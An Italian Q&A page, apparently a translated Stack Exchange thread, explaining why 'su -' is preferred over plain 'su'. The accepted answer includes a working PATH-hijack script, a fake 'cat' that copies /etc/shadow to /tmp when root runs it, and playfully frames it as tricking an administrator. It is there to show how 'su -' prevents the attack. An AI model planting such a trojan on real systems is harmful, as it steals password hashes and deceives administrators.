GNU/Linux >> Linux Esercitazione >  >> Linux

Linux – Perché usiamo Su – e non solo Su?

Non capisco perché su - è preferito a su per accedere come root.

Risposta accettata:

su - richiama una shell di login dopo aver cambiato utente. Una shell di accesso reimposta la maggior parte delle variabili di ambiente, fornendo una base pulita.

su cambia semplicemente l'utente, fornendo una normale shell con un ambiente quasi uguale a quello del vecchio utente.

Immagina di essere uno sviluppatore di software con un normale accesso utente a una macchina e il tuo amministratore ignorante non ti darà l'accesso come root. (si spera) inganniamolo.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Ora chiedi al tuo amministratore perché non puoi cat il file fittizio nella tua cartella home, semplicemente non funzionerà!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Se il tuo amministratore non è così intelligente o solo un po' pigro, potrebbe venire alla tua scrivania e provare con i suoi poteri da superutente:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Oh! Grazie, super amministratore!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Lui, lui.

Forse hai notato che il $PATH corrotto la variabile non è stata reimpostata. Ciò non sarebbe accaduto se l'amministratore avesse invocato su - invece.


Linux
  1. Perché uso Linux per gestire il mio studio di yoga

  2. Come installare e utilizzare Flatpak in Linux

  3. Come installare e utilizzare Traceroute in Linux

  4. Perché è Rm -rf e non Rmdir -rf?

  5. Perché usiamo su - e non solo su?

Installa e usa Linuxbrew nel sistema operativo Linux

Come installare e utilizzare phpMyAdmin in Linux

Come installare e utilizzare il comando fd in Linux

Come installare e utilizzare Nu Shell su Linux

Linux vs Mac OS:15 motivi per utilizzare Linux invece di Mac OS

Come e perché usare Linux per installare Telnet